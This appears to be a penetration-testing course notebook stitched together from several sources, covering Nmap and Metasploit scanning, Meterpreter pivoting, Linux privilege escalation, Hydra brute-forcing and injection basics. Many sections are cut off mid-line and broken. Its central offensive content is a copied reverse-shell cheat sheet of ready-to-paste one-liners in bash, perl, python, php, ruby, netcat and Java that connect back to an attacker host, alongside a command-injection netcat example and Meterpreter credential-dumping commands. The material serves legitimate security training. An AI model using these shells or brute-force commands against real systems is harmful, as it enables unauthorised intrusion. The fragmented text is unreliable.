# Week 5: Scanning Tools & Tactics **Scanning Tactics** - This lesson will cover common tools in-depth that are used for port scanning including Nmap, Nessus, and Metasploit. The section will introduce readers to using a wide toolset for scanning on penetration tests and provide a deeper understanding of what is going on behind the scenes. For example, the importance of TCP vs UDP scanning, the three-way TCP handshake, stealth scanning, and various Nmap switches. It will also provide the first introduction to Metasploit and its usage, which will be built upon throughout the course. ## TCP vs UDP * TCP * Connection-oriented * has a handshake * used on applications requiring high reliability * E.g. HTTP, FTP, Telnet * UDP * Connectionless * No handshake * used on applications requiring a fast connection * E.g. DNS, DHCP, SNMP ### 3-way handshake ``` SYN SYN, ACK ACK SYN SYN ACK RST --reset packet ``` Don't get bogged down in web exploitation (password spraying, sql injection, XSS, credential stuffing) if they aren't paying for web exploitation. # nmap ## Flags -Pn: Treat all hosts as online (No ping)\ This option skips the Nmap discovery stage altogether. Normally, Nmap uses this stage to determine active machines for heavier scanning. By default, Nmap only performs heavy probing such as port scans, version detection, or OS detection against hosts that are found to be up. Disabling host discovery with -Pn causes Nmap to attempt the requested scanning functions against every target IP address specified.\ -sS: Stealth Scan (TCP)\ -sU: UDP\ -sV: Probe open ports to determine service/version info\ -sN: sweep network\ -A: Enable OS detection, version detection, script scanning, and traceroute\ -p-: specifies every port\ -T1 up to -T5 slower to faster scanning (faster == more likely to miss)\ -p switch we can define port range\ -O: operating system detection\ -v: verbose, -vv: very verbose\ \ **OUTPUT**:\ -oN/-oX/-oS/-oG \
``` nmap -sn 192.168.1.0/24 # ->found router at 192.168.1.1 ______________________ nmap -T4 192.168.1.1 # ^T1-T5 slower to faster scanning (faster == more likely to miss) ______________________ nmap -T4 192.168.1.1 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 14:12 EST Nmap scan report for Linksys15214 (192.168.1.1) Host is up (0.0047s latency). Not shown: 993 filtered ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 10000/tcp open snet-sensor-mgmt 49152/tcp open unknown 49153/tcp open unknown ______________________ More efficient: scan for all ports, then scan -A with those specific ports, e.g. nmap -T4 -p- 192.168.1.1 nmap -T4 -A -p53,80,139,445,10000,49152,49153 192.168.1.1 ______________________ nmap -T4 -A -p- 192.168.1.1 ^-A is for all (ask for as much info as possible) -A: Enable OS detection, version detection, script scanning, and traceroute -p-: specifies every port ______________________ UDP scans: time intensive, false positives, lots of time to scan 60,000 ports nmap -sU -T4 192.168.1.1 ______________________ ls /usr/share/nmap/scripts/ #list all nmap scripts nmap -p 443 --script=all # will take a lot of time nmap -p 443 --script=ssl-enum-ciphers tesla.com ``` # Nessus ``` dpkg -i Nessus-8.8.0-debian6_amd64.deb /etc/init.d/nessusd start ln -s /etc/init.d/nessusd ~/bin/nessusd ln -s /opt/nessus/sbin/nessuscli ~/bin/nessuscli # navigate to https://kali:8834 --Activation code: ####-####-####-####-#### --create user account for nessus essentials --username: password /opt/nessus/sbin/nessuscli update # Disable groups to see all the vulns ``` # msfconsole ``` msf5 > search portscan msf5 > use auxiliary/scanner/portscan/syn msf5 auxiliary(scanner/portscan/syn) > info msf5 auxiliary(scanner/portscan/syn) > options # check defaults and see what options you still need to set Module options (auxiliary/scanner/portscan/syn): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:
## Notes If you see a test page, it indicates poor hygiene. Unless it's a web app assessment, you don't need to discuss headers e.g. (from nikto)\ \+ The anti-clickjacking X-Frame-Options header is not present.\ \+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS\ \+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type\ \ Want to do a bruteforce attack on SSH at some point to make sure their SIM catches it\ \ Penetration Tester - make a lot of noise\ Red Team - try not to trigger anything
### HTB: OneTwoSeven - Retired ``` $ nmap -T4 -p-
## Technology `crt.sh` to enumerate subdomains\ \ `Wappalyzer` for Firefox\ -check front and back end technologies on a website\ \ `whatweb` #comes included with Kali\ WhatWeb - Next generation web scanner\ \ `builtwith.com`\ \- check technology profile of a website without associating your IP # Enumeration When it comes to hacking, knowledge is power. The more knowledge you have about a target system or network, the more options you have available. This makes it imperative that proper enumeration is carried out before any exploitation attempts are made. Say we have been given an IP (or multiple IP addresses) to perform a security audit on. Before we do anything else, we need to get an idea of the “landscape” we are attacking. What this means is that we need to establish which services are running on the targets. For example, perhaps one of them is running a webserver, and another is acting as a Windows Active Directory Domain Controller. The first stage in establishing this “map” of the landscape is something called port scanning. When a computer runs a network service, it opens a networking construct called a “port” to receive the connection. Ports are necessary for making multiple network requests or having multiple services available. For example, when you load several webpages at once in a web browser, the program must have some way of determining which tab is loading which web page. This is done by establishing connections to the remote webservers using different ports on your local machine. Equally, if you want a server to be able to run more than one service (for example, perhaps you want your webserver to run both HTTP and HTTPS versions of the site), then you need some way to direct the traffic to the appropriate service. Once again, ports are the solution to this. Network connections are made between two ports – an open port listening on the server and a randomly selected port on your own computer. For example, when you connect to a web page, your computer may open port 49534 to connect to the server’s port 443. Your computer opens up a different, high-numbered port (at random), which it uses for all its communications with the remote server. You can have many separate ports and connections open at the same time. Every computer has a total of 65535 available ports; however, many of these are registered as standard ports. For example, a HTTP Webservice can nearly always be found on port 80 of the server. A HTTPS Webservice can be found on port 443. Windows NETBIOS can be found on port 139 and SMB can be found on port 445. It is important to note; however, that especially in a CTF setting, it is not unheard of for even these standard ports to be altered, making it even more imperative that we perform appropriate enumeration on the target. If we do not know which of these ports a server has open, then we do not have a hope of successfully attacking the target; thus, it is crucial that we begin any attack with a port scan. This can be accomplished in a variety of ways – usually using a tool called nmap. ### nmap Nmap can be used to perform many different kinds of port scan, but the basic theory is this: nmap will connect to each port of the target in turn. Depending on how the port responds, it can be determined as being open, closed, or filtered (usually by a firewall). Once we know which ports are open, we can then look at enumerating which services are running on each port – either manually, or more commonly using nmap. So, why nmap? The short answer is that it's currently the industry standard for a reason: no other port scanning tool comes close to matching its functionality (although some newcomers are now matching it for speed). It is an extremely powerful tool – made even more powerful by its scripting engine which can be used to scan for vulnerabilities, and in some cases even perform the exploit directly. #### Scan Type When port scanning with Nmap, there are three basic scan types. These are: * TCP Connect Scans (`-sT`) * Nmap sends a TCP request with the *SYN* flag set to a ***closed*** port, the target server will respond with a TCP packet with the *RST* (Reset) flag set. By this response, Nmap can establish that the port is closed. * If, however, the request is sent to an *open* port, the target will respond with a TCP packet with the SYN/ACK flags set. Nmap then marks this port as being *open* (and completes the handshake by sending back a TCP packet with ACK set). * What if the port is open, but hidden behind a firewall? Many firewalls are configured to simply **drop** incoming packets. Nmap sends a TCP SYN request, and receives nothing back. This indicates that the port is being protected by a firewall and thus the port is considered to be *filtered*. This can make it extremely difficult (if not impossible) to get an accurate reading of the target(s). * SYN "Half-open" Scans (`-sS`) * UDP Scans (`-sU`) Additionally there are several less common port scan types, some of which we will also cover (albeit in less detail). These are: * TCP Null Scans (`-sN`) * TCP FIN Scans (`-sF`) * TCP Xmas Scans (`-sX`) Most of these (with the exception of UDP scans) are used for very similar purposes, however, the way that they work differs between each scan. This means that, whilst one of the first three scans are likely to be your go-to in most situations, it's worth bearing in mind that other scan types exist. # Samba Shares Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system. Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network. Using nmap we can enumerate a machine for SMB shares. Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares! nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.101.116 SMB has two ports, 445 and 139.  On most distributions of Linux smbclient is already installed. Lets inspect one of the shares. `smbclient //
### **Vertical privilege escalation (privilege elevation):** This is where you attempt to gain higher privileges or access, with an existing account that you have already compromised. For local privilege escalation attacks this might mean hijacking an account with administrator privileges or root privileges. \[Travel up on the tree] # Meterpreter ``` migrate getuid sysinfo load kiwi # mimikatz getprivs upload run shell run post/windows/gather/checkvm # are we in a VM run post/multi/recon/local_exploit_suggester # to elevate priv run post/windows/manage/enable_rdp # force RDP, if admin # Pivoting ``` What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer. > run autoroute -s 172.18.1.0 -n 255.255.255.0 Additionally, we can start a socks4a proxy server out of this session. Background our current meterpreter session and run the command `search server/socks4a`. What is the full path to the socks4a auxiliary module? > auxiliary/server/socks4a Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks4a server with proxychains? > proxychains # Spawning a TTY Shell 1. The first thing to do is use `python3 -c 'import pty;pty.spawn("/bin/bash")'`, which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell. 2. Step two is: `export TERM=xterm` – this will give us access to term commands such as `clear`. 3. Finally (and most importantly) we will background the shell using `Ctrl + Z`. Back in our own terminal we use `stty raw -echo; fg`. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and `Ctrl + C` to kill processes). It then foregrounds the shell, thus completing the process. ``` python -c 'import pty; pty.spawn("/bin/sh")' echo os.system('/bin/bash') /bin/sh -i perl —e 'exec "/bin/sh";' perl: exec "/bin/sh"; ruby: exec "/bin/sh" lua: os.execute('/bin/sh') (From within IRB) exec "/bin/sh" (From within vi) :!bash (From within vi) :set shell=/bin/bash:shell (From within nmap) !sh # From netsec.ws ``` # Reverse Shell Cheat Sheet If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former. Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared. The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”. Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable. #### Bash Some versions of [bash can send you a reverse shell](http://www.gnucitizen.org/blog/reverse-shell-with-bash/) (this was tested on Ubuntu 10.10): ``` bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ``` #### PERL Here’s a shorter, feature-free version of the [perl-reverse-shell](http://pentestmonkey.net/tools/web-shells/perl-reverse-shell): ``` perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` There’s also an [alternative PERL revere shell here](http://www.plenz.com/reverseshell). #### Python This was tested under Linux / Python 2.7: ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` #### PHP This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6… ``` php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ``` If you want a .php file to upload, see the more featureful and robust [php-reverse-shell](http://pentestmonkey.net/tools/web-shells/php-reverse-shell). #### Ruby ``` ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ``` #### Netcat Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option. ``` nc -e /bin/sh 10.0.0.1 1234 ``` If you have the wrong version of netcat installed, [Jeff Price points out here](http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498) that you might still be able to get your reverse shell back like this: ``` rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f ``` #### Java ``` r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` \[Untested submission from anonymous reader] #### xterm One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001. ``` xterm -display 10.0.0.1:1 ``` To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system): ``` Xnest :1 ``` You’ll need to authorise the target to connect to you (command also run on your host): ``` xhost +targetip ``` #### Further Reading Also check out [Bernardo’s Reverse Shell One-Liners](http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html). He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell. There’s a [reverse shell written in gawk over here](http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387). Gawk is not something that I’ve ever used myself. However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells. {% embed url="
User executes the file with the permission of the group owner.
**user** **group** **others** rwx rwx rwx 421 421 421 The maximum number of bit that can be used to set permission for each user is 7, which is a combination of read (4) write (2) and execute (1) operation. For example, if you set permissions using **"chmod"** as **755**, then it will be: -rwxr-xr-x. But when special permission is given to each user it becomes SUID or SGID. Look for **s**' replacing the execute bit in user and group permission respectively. Some sample permissions: **SUID**: -rws-rwx-rwx **GUID**: -rwx-rws-rwx Both: -rwsr-sr-x ### **Finding SUID Binaries** We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, if we want to do this manually we can use the following command to search the file system for SUID/GUID files: `find / -perm -u=s -type f 2>/dev/null` Let's break down this command. **find** - Initiates the "find" command **/** - Searches the whole file system **-perm** - searches for files with specific permissions **-u=s** - Any of the permission bits *mode* are set for the file. Symbolic modes are accepted in this form **-type f** - Only search for files **2>/dev/null** - Suppresses errors ## Exploiting Writeable /etc/passwd Continuing with the enumeration of users, we found that **user7** is a member of the **root** group with **gid 0.** And we already know from the **LinEnum** scan that **/etc/passwd** file is writable for the user. So from this observation, we concluded that **user7** can edit the /etc/passwd file. ### **/etc/passwd** The /etc/passwd file stores essential information, which is required during login. In other words, it stores user account information. The /etc/passwd is a **plain text file**. It contains a list of the system’s accounts, giving for each account some useful information like user ID, group ID, home directory, shell, and more. The /etc/passwd file should have general read permission as many command utilities use it to map user IDs to user names. However, write access to the /etc/passwd must only limit for the superuser/root account. When it doesn't, or a user has erroneously been added to a write-allowed group. We have a vulnerability that can allow the creation of a root user that we can access. ### **/etc/passwd format** The /etc/passwd file contains one entry per line for each user (user account) of the system. All fields are separated by a colon : symbol. Total of seven fields as follows. Generally, /etc/passwd file entry looks as follows: test:x:0:0:root:/root:/bin/bash \[as divided by colon (:)] 1. **Username**: It is used when user logs in. It should be between 1 and 32 characters in length. 2. **Password**: An x character indicates that encrypted password is stored in /etc/shadow file. Please note that you need to use the passwd command to compute the hash of a password typed at the CLI or to store/update the hash of the password in /etc/shadow file, in this case, the password hash is stored as an "x".
3. **User ID (UID)**: Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by system for administrative and system accounts/groups. 4. **Group ID (GID)**: The primary group ID (stored in /etc/group file) 5. **User ID Info**: The comment field. It allow you to add extra information about the users such as user’s full name, phone number etc. This field use by finger command. 6. **Home directory**: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes / 7. **Command/shell**: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell. ### **Exploit a writable /etc/passwd** It's simple really, if we have a writable /etc/passwd file, we can write a new line entry according to the above formula and create a new user! We add the password hash of our choice, and set the UID, GID and shell to root. Allowing us to log in as our own root user! ## Escaping Vi Editor ### **Sudo -l** This exploit comes down to how effective our user account enumeration has been. Every time you have access to an account during a CTF scenario, you should use **"sudo -l"** to list what commands you're able to use as a super user on that account. Sometimes, like this, you'll find that you're able to run certain commands as a root user without the root password. This can enable you to escalate privileges. ### **Escaping Vi** Running this command on the "user8" account shows us that this user can run vi with root privileges. This will allow us to escape vim in order to escalate privileges and get a shell as the root user! ### **Misconfigured Binaries and GTFOBins** If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.
* [ ] Default 404 Info Disclosure (Low) * [ ] Weak Ciphers * [ ] `nmap --script=ssl-enum-ciphers -p 443
# THC-Hydra BruteForce ### Localhost Example ``` $ hydra -l admin@juice-sh.op -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form '/#/login:email=^USER^&password=^PASS^:Invalid email or password.' -fV -s 3000 -t 1 ``` ### Vulnhub Example When we enter a random key into the form at this page, we get “invalid key”. We can use this to formulate a hydra command. Choose `big.txt` wordlist, select `http-post-form`, the address `10.10.10.3`, the location of the form `“/kzMb5nVYJw/index.php”` with our field “key” and the `^PASS^` string (the variables argument needs at least the strings `^USER^`, `^PASS^`, `^USER64^` or `^PASS64^`), and the third colon delimited argument that designates failure “invalid key”. `-l` is for our login name which is empty, `-f` is for exit when a login/pass pair is found, `-V` is for verbose. ``` $ hydra -P /usr/share/dirb/wordlists/big.txt 10.10.10.3 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -fV -l "" ``` # Injection Injection flaws are very common in applications today. These flaws occur because user controlled input is interpreted as actual commands or parameters by the application. Injection attacks depend on what technologies are being used and how exactly the input is interpreted by these technologies. Some common examples include: * SQL Injection: This occurs when user controlled input is passed to SQL queries. As a result, an attacker can pass in SQL queries to manipulate the outcome of such queries. * Command Injection: This occurs when user input is passed to system commands. As a result, an attacker is able to execute arbitrary system commands on application servers. \ If an attacker is able to successfully pass input that is interpreted correctly, they would be able to do the following: * Access, Modify and Delete information in a database when this input is passed into database queries. This would mean that an attacker can steal sensitive information such as personal details and credentials. * Execute Arbitrary system commands on a server that would allow an attacker to gain access to users’ systems. This would enable them to steal sensitive data and carry out more attacks against infrastructure linked to the server on which the command is executed. \ The main defence for preventing injection attacks is ensuring that user controlled input is not interpreted as queries or commands. There are different ways of doing this: * Using an allow list: when input is sent to the server, this input is compared to a list of safe input or characters. If the input is marked as safe, then it is processed. Otherwise, it is rejected and the application throws an error. * Stripping input: If the input contains dangerous characters, these characters are removed before they are processed. \ Dangerous characters or input is classified as any input that can change how the underlying data is processed. Instead of manually constructing allow lists or even just stripping input, there are various libraries that perform these actions for you. ## OS Command Injection Command Injection occurs when server-side code (like PHP) in a web application makes a system call on the hosting machine. It is a web vulnerability that allows an attacker to take advantage of that made system call to execute operating system commands on the server. Sometimes this won't always end in something malicious, like a `whoami` or just reading of files. That isn't too bad. But the thing about command injection is it opens up many options for the attacker. The worst thing they could do would be to spawn a reverse shell to become the user that the web server is running as. A simple `;nc -e /bin/bash` is all that's needed and they own your server; some variants of netcat don't support the -e option. You can use a list of [these](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) reverse shells as an alternative.
Once the attacker has a foothold on the web server, they can start the usual enumeration of your systems and start looking for ways to pivot around. Now that we know what command injection is, we'll start going into the different types and how to test for them. Source:
In the above example the `
` ]>`\ Now we can use this DTD to validate the information of some XML document and make sure that the XML file conforms to the rules of that DTD. Ex: Below is given an XML document that uses `note.dtd`\\ \\ \
* !DOCTYPE note - Defines a root element of the document named note * !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body" * !ELEMENT to - Defines the `to` element to be of type "#PCDATA" * !ELEMENT from - Defines the `from` element to be of type "#PCDATA" * !ELEMENT heading - Defines the `heading` element to be of type "#PCDATA" * !ELEMENT body - Defines the body `element` to be of type "#PCDATA" NOTE: #PCDATA means parseable character data. * How do you define a new ELEMENT? * !ELEMENT * How do you define a ROOT element? * !DOCTYPE * How do you define a new ENTITY? * !ENTITY # XPath Injection {% embed url="